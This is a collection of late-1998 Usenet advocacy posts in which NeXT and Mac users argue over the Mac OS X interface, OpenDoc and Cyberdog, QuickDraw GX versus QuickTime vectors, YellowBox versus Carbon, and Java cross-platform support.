> replacement, and there's also a Spectre.app program,
> http://www.object-factory.com/~erik/Spectre/ for Openstep for Enterprise.
>
> Unfortunately, it seems to me that the pristine, elegant NeXT interface is
> getting obscured by unneccessary Mac elements
But at the same time the reverse is happening too. For me the dock was
nothing but a terribly limited version of a useable desktop. Heck, you
couldn't even put documents in it.
> nicer than the Mac UI (which saw not improvements between 1984 and 1995,
Well that's simply not true, there were massive improvements in Sys7, and
many smaller ones after.
> All I want is clean bevels, sharp corners
I hope this is a theme issue, because I always found the look too
clinical. It felt "sharp". I prefer the roundness of the MacOS, and
considering sales of the iMac I may not be alone!
> here), services and all of the self-contained NeXT apps (Webster's,
> Oxford's Shakespeare, TeXView, etc.).
Well THAT ain't gonna happen.
> I do not want the Mac Finder which I gave up years ago
Well then how do you know? It's changed tremendously.
> nor an interface cluttered with needless ornamentation.
Which parts specifically? For me the shelf and tiles are needless
ornamentation and I'll be happy to see them go. I find the NeXT interface
to require far more screen real estate and have a general paucity of
gesture-control.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 30 Nov 98 09:40:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28818B0-1C0DE@206.165.43.165>
References: <36621114.0@news.depaul.edu>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>Even if Apple *had* tried to re-engineer OpenDoc, and were able
>to fix all the implementation problems, the 'benefits'
>would still be hard (perhaps impossible) to get across to the
>users and third party developers.
I have an easy time getting the "benefits" of OpenDoc accross to most
end-users -in fact, anyone who has ever used ClarisWorks and NetScape.
Why? I can tell them it allows any app to work like ClarisWorks and use any
other app as a plug-in tool, only better.
I can also demo Cyberdog, which makes hardcore PC users go "mmmm..." in a
very awestruck and melodious fashion.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 30 Nov 1998 17:24:59 GMT
Organization: AOL http://www.aol.com
References: <36623228.DE3E6D7E@Sun.COM>
Message-ID: <19981130122459.26905.00000111@ng53.aol.com>
There was one other thing which I forgot--animated application icons.
Apparently these are not a part of Apple's app specification (where would they
be displayed after all?), but they've been added back in as a third-party
extension. (brief mention of this at www.stepwise.com in their file archives).
I find application icons when well done informative and useful, and rather wish
that the idea would be extended further (maybe having a tiny thumbnail of the
current document display? Or, how about in Virtuoso.app (for example) having
the color of the paintbrush the guy holds changing with the active color?
For those who aren't familiar with GNUstep, it's coming up on half-way done for
the libfoundation (I think I got that right), with other things progressing
very well:
www.gnustep.org
www.windowmaker.org
www.postilion.org
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MocOS X beta hovering on the horizon?
Content-Type: text/plain; charset=us-ascii
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Organization: needs one
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
<73lapb$i5q$1@news.digifix.com> <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca>
<73ntu4$h5r$1@news.digifix.com> <1dj75yk.1cdcr9p1ps5wnvN@p011.intchg1.net.ubc.ca>
<73qkf1$hco$1@news.digifix.com>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 18:58:45 GMT
In <73qkf1$hco$1@news.digifix.com> Scott Anguish wrote:
> They're a highly reactive bunch that need to be coddled.
Indeed, I'm still surprised the various OS-X networking sessions weren't
actually ahidden camera episode of Jerry Springer.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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References: <01be1188$01ce14e0$06387880@chewy> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com>
<73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com>
<73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com>
<365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com>
<36607fa3.0@news.depaul.edu>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 19:04:45 GMT
In <36607fa3.0@news.depaul.edu> Jonathan W Hendry wrote:
> The *same* obstacles are in store for *any* developer, Carbon *or*
> YellowBox. A new Carbon word processor would have exactly the same
> competitive situation as a new YellowBox word processor.
>
> The problem is not Carbon. The problem is that MacOS is a mature
> software market.
Superbly put. However I do wish to modify this slightly - one of the
problems to date is that newer software packages have generally been quite
simplistic compared to their competition. For instance there's been any
number of spreadsheets released for the Mac since Excel took over, and
without a single exception all of them were quite underpowered in one way
or another.
It really does remain to be seen whether or not _better_ apps will sink
or swim on the Mac. Quark nuked PageMaker in a (although dated) similar
battle.
> So basically you're saying that you think people should have to buy
> YellowBox apps, regardless of their quality, utility, or other
> advantages? Just *because* they're YellowBox? That's absurd.
Sorry, but I don't think that's what he said at all.
> Who cares about this? OS X doesn't *need* a lot of developer adoption
> short term. When developers figure out that it's here to stay (which
> for many can only be due to Apple's actions, not mere PR or announcements)
> they will come on board, but only if it makes fiscal sense.
Indeed.
Maury
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: WO4 Announcement: Answer to Mac OS X Server timing
Date: Mon, 30 Nov 1998 12:26:04 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73ukit$ops@crab.afs.com>
Although today's announcement declares WO4 to be shipping for Unix platforms
(presumably HP-UX and Solaris for *deployment*, not development), later it
concedes:
"WebObjects 4 for Power PC G3 systems is planned to support
Mac OS X Server in 1999."
Notice that Apple will not commit even to which *month* in 1999. So if any
of you were still hoping for a Christmas present, Think Different.
Greg
PS: I think today is the day Mmalc officially loses his bet. I'm willing to
pass the hat for you, buddy.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 19:06:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73uqab$m48$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net> <73uedp$baa$1@nnrp1.dejanews.com>
malcolm@plsys.co.uk wrote:
> > > QuickTime won because it was actually useful; developers and end users
> > > were quick to grasp this, even in the beginning. On the other hand,
> > > Apple never successfully made a case for OpenDoc; they never came up
> > > with a good, simple reason why the customer would use OpenDoc.
> >
> > Fair enough. Explain to me how Apple is applying this lesson to
> > Rhapsody.
>
> ??!! People have been explaining this for months.
> By not calling it Rhapsody.
> By calling it MacOS X Apple sidesteps the need to make any case at all,
> besides the usual case required for any "upgrade". Instead of having to
> convince users that they need this spanking new OS with all of these wizzy
> new features, Apple just has to say "The latest and greatest version of the
> OS that you know and love". The wizzy new features will just be there.
Not sure I agree with you here. The original assertion was that QT was
successful because it did something that both users and developers perceived
to be useful. Right now, it's not at all clear to me that the majority of
users have much of a sense of why or in what way OSX will be useful for them.
More to the point right now, I think it's fair to say that the majority of
MacOS developers don't perceive it either -- especially with regard to the
yellowbox APIs.
Yes, a lot of people will buy OSX because it's the "latest and greatest"
version of the MacOS. But will the wizzy new features just be there? Some
will, like memory protection. But most will not until somebody writes apps
that take advantage of all those wizzy new features, eg apps that can provide
and accept services to/from other apps. But few people are writing such apps.
As a result, OSX will be a lot less exciting than it could have been, at
least early on. And so it'll be much more difficult for your average user to
perceive just how much of an improvement OSX really is.
So in this sense, it does not appear to me that Apple has learned the QT
lesson at all, or at least is not applying it, in that they appear to be
doing little or nothing to make a compelling case to developers about why OSX
and YB in particular will be useful to them. (And yes, I'm aware of all the
arguments about needing to keep traditional MacOS developers on board, etc,
but I don't buy that this requires total silence on YB.)
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Date: Mon, 30 Nov 1998 18:32:16 GMT
In <B2864C63-67158@206.165.43.150> "Lawson English" wrote:
> > Ahhh, all ten of them then. Let me ask you this, what GX based page
> >layout program do you OWN and use professionally?
>
> I'm writing one.
So, zero. Thank you.
So, you don't sell such a product. You don't own such a product. You
don't even _use_ such a product. This is one reason why no one believes
pretty much anything you say in these troll threads.
> >> It's about 25 lines of code to convert the entire GX shape into a QT
> >> vector.
> >
> > It's about 10 lines to turn english into Pig Latin.
>
> non sequitur.
Incorrect. Code required to convert from one format to another
*apparently* based on it has no bearing on the usefulness of the system, or
general programming difficulty level.
I can convert Mac based text files to Unix in about 3 lines of code under
MacOS (assuming the file has been loaded into a buffer and such), but it
takes thousands to write a text editor. It also takes about three lines
under OpenStep, yet it takes about 50 to write a complete text editor.
Thus it is YOUR example that is the non-sequitur, as although it proports
to comment on the programming difficulty of the task, it almost certainly
bears no relation on it whatsoever.
> > "Easy" as in "several thousand pages of documentation that weighs about
> >20 to30 pounds". Funny definition of "easy", that.
>
> Easy as in easy.
Easy as in not easy. You have no idea what your talking about. Do this,
open Sherlock and do a net search on "Worse is better".
Size of API, and its associated documentation, has the only clearly
directly obvious effect on it's acceptance. Quality of the product has no
such bearing. For instance sockets vs. streams. Theoretically STREAMS is
clearly superior. Yet no one uses it, because it's too hard to use for
most of the tasks one uses networking for. Thus there are only a handful
of peopleusing STREAMS _for_ STREAMS (less than GX I'd bet), the majority
of STREAMS users use it as a sockets stack.
> Anyone with any programming experience in Pascal can read
> the GX documentation.
Another non-sequiter. The issue is not whether or not they can read it,
it's whether or not they can use it to make applications.
Considering the dearth of GX applications I believe the evidence supports
my position much more than yours. Other bits of evidence to support this
(bigger API/doc = less use) are available in the PowerTalk example as well,
where the system had a huge API and was largely ignored.
> It is redundant so that you don't have to hunt
> everywhere for a definition (at least, I THINK that is the idea).
Or maybe it's just redundant.
> So, you're saying that QT *IS* designed for content creation?
Another strawman, I said or suggested nothing of the sort.
> > Because you're an idiot?
>
> _ad hominem_ remarks are not called for.
Nothing else works.
> >> GX is IDEAL for doing ALL forms of content creation, both for DTP and
> >> multimedia.
> >
> > So are a hundred other things.
>
> And these are available as a free programming library on the Mac?
Another non-sequitur. This isn't about the MacOS, this is about the
_future_ MacOS, and has been since you first picked up a GX text about 2
years ago during the Copeland days.
> Again, which would you prefer to use to create a drawing app, the GX API
> or the QuickTime vectors API?
Neither, why would I want to use either of them for a drawing app? My
drawing app's done, it used DPS.
Of course I'm not the "you" you're really referring to, you are referring
to "you" as in "programmers" it appears. If this is the case then you
should ask your favourite example, because they claim to be making
"everything" work under QT directly.
> And you have written which commercial drawing apps in GX *AND* via the
> QuickTIme vectors API?
Have you? No? Well then, we see another strawman.
Regardless, the only company that seems to have apparently does not
support your viewpoint.
> > Ahh yes, multimedia is trival in comparison to DTP! Ohhh, that one I'm
> >saving!
>
> When a graphics model is useful for multi-media AND desktop publishing, it
> is trivializing it to limit it ONLY to multi-media.
No way, don't spoil my fun now!
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
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Date: Mon, 30 Nov 1998 18:37:05 GMT
In <73osr0$nu4$1@newton.a2000.nl> "Pascal Haakmat" wrote:
> I guess one of the reasons why the AWT is not exactly full-featured has to
> do with the fact that it needs to support the lowest common divider of
> functionality between native peers
Absolutely, I'd agree, this is likely the reason for it's general level
of quality. I won't comment on the design side, as I haven't used it in
that respect.
> sugar coating. But in my experience, there's enough of it to make small to
> medium sized apps. And it _does work_ across platforms, if you forget
> about using it in browsers.
Hmmm. As far as I can tell that eliminates the VAST majority of these
apps. As noted, on Sun's own list I was unable to find such an example.
Now that's not to say they don't exist, but the only example I can think of
is Corel, which was a massive failure.
> The differences between the *nix, Mac OS and Windows
> implementations of the AWT are generally very small.
Well I simply have to agree with MS on this one - people don't want
crappy apps. They will gladly sacrifice platform flexibility for
usability. Platform independence is of interest primarily to two groups,
developers and IT managers. As it stands, I don't believe AWT is of much
help to either.
> The whole point of cross-platform application distribution is moot anyway,
> since every OS follows different conventions on how applications are
> distributed and packaged. That's just not something that Java solves.
That's an interesting point, I never thought of it that way. But doesn't
Java attempt to solve this by it's very nature? The NetPC seems to suggest
to me that the idea was to make the network the only delivery platform -
wise or no.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 30 Nov 98 13:55:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2885486-FD02E@206.165.43.165>
References: <F38zHt.395@T-FCN.Net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>
> Thus it is YOUR example that is the non-sequitur, as although it
proports
>to comment on the programming difficulty of the task, it almost certainly
>bears no relation on it whatsoever.
What is the programming task?
Create a simple vector graphics editor that is both multi-media oriented
AND can be used for other purposes.
Now, if you only want to go with the first part, fine, but let's look at
what it takes to do the first part only:
create vector graphics using the QuickTime vectors API.
compare that with accomplishing both via GX:
create a GX graphics editor using the GX API and (if desired) translate
into the QT vectors format.
I've already given you sample code for accomplishing the same task
(creating a single contour vector) via both the GX and QT vectors API.
Now look what else is needed:
a way of tracking the mouse:
GX provides this, and compensates for the GX 3x3 transform matrix in a
given viewport automatically.
QT doesn't, AFAIK.
a way of keeping track of vectors in a hierarchy so that you can create a
bunch of them and edit the currently selected one as needed:
GX has a picture shape.
QT vectors does not.
a way of creating editable WYSIWYG text in any language:
GX has three text shapes and libraries for editing them using full ATSUI
capabilities except text-blocks.
QT vectors has none.
a way of storing graphics for later editing.
GX has shape-flattening routines.
QT has the QuickTime media format, which is NOT designed for editing
already-created vectors directly.
a way of converting PICTs into editable format:
GX has the GX conversion function.
I don't recall seeing a QT function to convert PICT into QT vectors -anyone
know?
a way of printing resolution-independent vectors for off-screen examination
and distribution:
GX has several libraries for this.
QT has ??.
a way of hit-testing vectors:
GX has a hit-test API that allows one to hit-test a shape for one or more
of the following: bounds, geometry, pen, bounds, control-point,
corner-point, control-point, edge, join, start-cap, end-cap, dash,
pattern, glyph bounds, glyph first-part, glyph last-part & glyph
side-bearing, and returns how close a point is to any/all of the above, or
to the first of the above in a GX-defined order.
QT vectors returns how close a point is to the curve.
And so on.
Does anyone *besides* Maury think that it would be easier to create QT
vectors by creating a QT vectors editor or by creating a GX editor and
converting the GX vectors (including text, BTW) into QT vectors after you
are finished?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Mon, 30 Nov 1998 20:52:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73v0j0$rm3$1@nnrp1.dejanews.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca> <73mpdp$a0o@crab.afs.com>
In article <73mpdp$a0o@crab.afs.com>,
"Greg Anderson" <greg@afs.com> wrote:
> David Evans wrote:
>> BTW, who was the WebRex guy? Ted Shelton sticks in my mind but I have a
>> feeling that I'm confusing my history...
>
> That's the guy. As I remember it, Ted had the equivalent of WebObjects
> before NeXT, and NeXT did virtually everything in its power to put that
> product out of business, including a revision of its basic license that made
> Ted's product non-conforming. Chuck Swiger was working for Ted at the time,
> and can supply the full story. It may be too long ago for DejaNews.
Yup. WebRex was originally written by Linus Upson, who was also one of the
three original authors of EOF itself. Drew Trieger worked on the client side
and EOF/data modelling stuff, and I worked on the server engine.
It was pretty cool, developing a preforking web server that handed sockets
off to the children-- I remember copying that notion from a very early Apache
version, and then I added the notion of expiring the child processes after a
configurable number of requests serviced, because EOF tended to leak memory
and accumulate state way back when. WebRex had a decent notion and
representation of the request/response cycle, but it lacked the modern WOF
abstractions of session versus application, and the MIME support, HTML
parsing, and HTML generation were fairly primitive. WebRex included internal
support for imagemaps (rather than running a cgi executable to parse the
maps), and a regex- based URL redirector that allowed some interesting games
to be played, either for site migration or load-balancing.
After NeXT changed the licensing fee for EOF from $750 to $25,000, ITS started
porting WebRex to Java, back around JDK 1.01/1.02. We cleaned up a lot of
cruft, and started working from a more sensible framework of components. Java
was too immature then (as it still is now, IMHO)-- no reflection, JDBC didn't
exist, and so forth. Oh, well....
-Chuck
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From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
<73pj0c$53o@news1.panix.com>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 18:43:18 GMT
In <73pj0c$53o@news1.panix.com> Sal Denaro wrote:
> That might have a lot to do with you opinion that xplatform doesn't work.
In the context of Java, I'm sure that is the case.
> I worked on a stand alone Java app that is now in use by over 2k users for
> a large bank based in New York. All development of the front end was done
> on NT with Sun's JDK. All backend work was done on Solaris.
>
> Last month I found out that over 80 of the users are running it on non-ms
> platforms, none of which were tested or even evaluated during the
> development
> process. (Five are running it on redhat Linux) They have had no
> complaints
> and no mention was made on who is running on what. That is pretty close to
> "just works" level compatibility.
Great!
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
<365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com>
<365F8F48.866F3FEB@nstar.net> <73pg4t$49l@news1.panix.com>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 18:41:09 GMT
In <73pg4t$49l@news1.panix.com> Sal Denaro wrote:
> You might want to check out "Objective Everything", it provided YB
> interfaces for Perl, Python and WebScript.
This is interesting, as is Joy. However neither of them struck me as
being completely "ready" just yet. Certainly though, Joy is usable and
works pretty well with IB, which is where I think development should take
place anyway!
> Apple has also mentioned that AppleScript on OSX will provide scripting of
> YB objects and Apps.
Sadly there's been no real comment on whether or not this will be
provided on other platforms. What's more interesting though is the
implementation details, as adding scripting support for AS under YB is
_trivial_ (I mean it, for many apps it's typing in a text file and dropping
it in a folder!), but it's not at all clear whether or not Apple will
implement the engine side in a replaceable manner. IE, will I be able to
use the same messaging distribution system without any changes on the app
side, but drop in a Python engine instead of AS? This is likely not
terribly hard to do either, but it remains to be seen whether or not they
will do it.
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 30 Nov 1998 19:15:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73uqr7$mj1$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com> <73u9pa$79n$1@nnrp1.dejanews.com> <73uerg$o67@crab.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
> spagiola@my-dejanews.com wrote:
> >Several YB developers had the only app of their class in the
> >NeXTSTEP/OPENSTEP market; did they get rich as a result?
>
> Well, some did better than others. The main problem was that efforts to sell
> the underlying operating system kept getting scaled back, and then the OS
> was priced not-to-sell.
Yeah, but the problem was there long before the price of OPENSTEP went
through the roof: small market = few sales, even when you dominate. Of
course, even smaller market = even fewer sales, so NeXT's high-price strategy
really crimped the shrink-wrap app developers, lean though they might have
been.
> >Given the economics of YB development, I've no doubt that YB
> >developers can add features faster and more easily than their
> >carbon counterparts will be able to.
>
> Unfortunately, this has nothing at all to do with what it takes to succeed
> in the software markets these days.
Well, I'm sure you have a better sense of what it takes to succeed than I do,
but it would seem to me that, other things equal, a company that is able to
respond to user wants/needs faster ought to be able to better. The clincher,
of course, is that "other things equal." If your competitor is MS, clearly
other things aren't equal and all the technical skill in the world may not
save you.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 30 Nov 1998 18:24:48 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <73untg$kpv@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <365B0CAD.67D67710@spamtonull.com> <73fld0$7qa@newsb.netnews.att.com> <365C623B.559BF713@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>
>gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
>>
>> What BS !
>> For example, read the review of Mac OS X Server at
>> http://www.appleinsider.com/articles/9811/mac-os-x-server.shtml
>>
>> and note the relative weights given to useability and buzzword compliance.
>>
>> Buzzword compliance is not worth much if useability doesn't accompany it.
>> (e.g. Windows).
>>
>
>
>I don't understand. You're saying the Mac OS X server has a lot of stuff
>in it that isn't useable, and so therefore is full of buzzword
>compliance?
No, first, go back and re-read the thread; and then note that
Mac OS X Server has buzzword compliance, but according to the reviewers,
is not very useable; the reviewers place more emphasis on useability
than buzzword compliance, contrary to your assertions about Macintosh
advocates.
-arun gupta
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 19:57:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73utbk$ork$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <73ue1l$att$1@nnrp1.dejanews.com>
In article <73ue1l$att$1@nnrp1.dejanews.com>,
malcolm@plsys.co.uk wrote:
> In article <366094F1.484C0F7E@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > Carbon wins because it's C, JFC wins because it's Java. YB loses because
> > it's Objective-C.
> >
>
> Umm, you've been told this on many occasions now: YB is *not* Objective-C; it
> is also accessible from Java as part of the standard Apple distribution, and
> from Perl, Python etc. using TipTops' Objective-Everything.
Well, yes, mmalcolm. And Carbon isn't necessarily accessible from C alone. If
my posting had had anything to do with what languages could *access* a
particular API, I would have said so.
MJP
"'They're drowning in a sea of retarded sexuality and bad poetry.'?"
"That's nitpicking, isn't it?"
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From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Mime-Version: 1.0
Date: Mon, 30 Nov 1998 19:59:13 GMT
In <B28818B0-1C0DE@206.165.43.165> "Lawson English" wrote:
> I have an easy time getting the "benefits" of OpenDoc accross to most
> end-users -in fact, anyone who has ever used ClarisWorks and NetScape.
>
> Why? I can tell them it allows any app to work like ClarisWorks and use
> any other app as a plug-in tool, only better.
You are being somewhat disintiguous, this was true for only a very
limited subset of OD parts.
In any area where data interchange was required the system failed. For
instance there were no less than three table drawing parts, four ways to
get data into them, and at _least_ two charting parts, yet none of them
could talk to each other. The user was back to cut and paste between what
appeared to be completely separate apps, with different windows, documents
and menus. This is a far cry from the CW world.
The Component 2000 Group was supposed to help fix this, but it was clear
that they didn't _get_ it. Instead of starting with the AppleScript
objects stuff and making concrete subclasses, they simply got the people
writing tables together over e-mail and come out with a union of their data
types. This is a horrible way to design an exchange system, and was doomed
to fail (as it did, no products that I am aware of were able to work
between the time the effort started and OD was killed, which was about a
year).
The long and short of it is that the invisible data transfer that OD
claimed as one of it's big advantages - constantly pushed by Apple with
their stock ticker app for instance - never existed and didn't look like it
was going to at any time in the future. Thus the invisible plug-n-play
system was an illusion. We've been over this before, you've agreed this
was true.
> I can also demo Cyberdog, which makes hardcore PC users go "mmmm..." in a
> very awestruck and melodious fashion.
Typically in relation to it's horrible boot times and slow display.
Admittedly in the CD world things were much much better, but this is of
course a side effect of having well established data formatsand standards,
limited interchange, and all the parts coming from a single source. Again,
as an example of good internet client design it was superb, but it is just
as good an example of everything that was wrong with OD. Indeed, even the
Apple engineers were quoted to that effect, stating (IIRC) that the product
would have been much better had they simply been allowed to do the product,
rather that doing a OD example app.
We've been over this too. CD had some brilliant ideas, but was wrapped
up in a political effort and would have been much better implemented in
other ways. With YB, slightly modified window handling, it becomes
terribly realistic to implement all of CD's basic functionality and
conceptual design without needing OD, and basing it on cross-platform
networking code that talks right to the metal.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
Organization: needs one
References: <73pg4r$49l@news1.panix.com> <B2864E26-6DB63@206.165.43.150>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 20:05:15 GMT
In <B2864E26-6DB63@206.165.43.150> "Lawson English" wrote:
> >>I think that it should be obvious that GX or any other universally
> >>available Apple graphics technology that does more than what Adobe would
> >>like is ALSO a forbidden technology.
I think this is just an example of your refusal to accept that the
technology was simply not interesting to developers.
> And there's no way of creating VB scripts on the Mac, last I heard.
Sure there is, you can do it in Excel for instance.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 30 Nov 98 13:35:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2884F9F-EA959@206.165.43.165>
References: <F393ss.5zM@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2864E26-6DB63@206.165.43.150> "Lawson English" wrote:
>> >>I think that it should be obvious that GX or any other universally
>> >>available Apple graphics technology that does more than what Adobe
>would
>> >>like is ALSO a forbidden technology.
>
> I think this is just an example of your refusal to accept that the
>technology was simply not interesting to developers.
>
>> And there's no way of creating VB scripts on the Mac, last I heard.
>
> Sure there is, you can do it in Excel for instance.
OK, that is nice to hear. It took MS how long to bring this out?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Mon, 30 Nov 1998 16:38:09 -0500
Organization: Styx DTP
Sender: monner@dial02p53.ottawa.storm.ca
Message-ID: <3663103F.A131CA5@tone.ca>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net>
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Maury Markowitz wrote:
> The idea of dragging the tile into space gives me as many shivers as
> ejecting a floppy by putting it into the trash.
>
Your not kidding. Brought back horrible memories of the neat new game my
fastlearning 3 yr old Grand-daughter learned when she saw me ejecting her
Arthur CD by dragging it to the trash.
Thank God she's 4 now and knows better.
Michael Monner
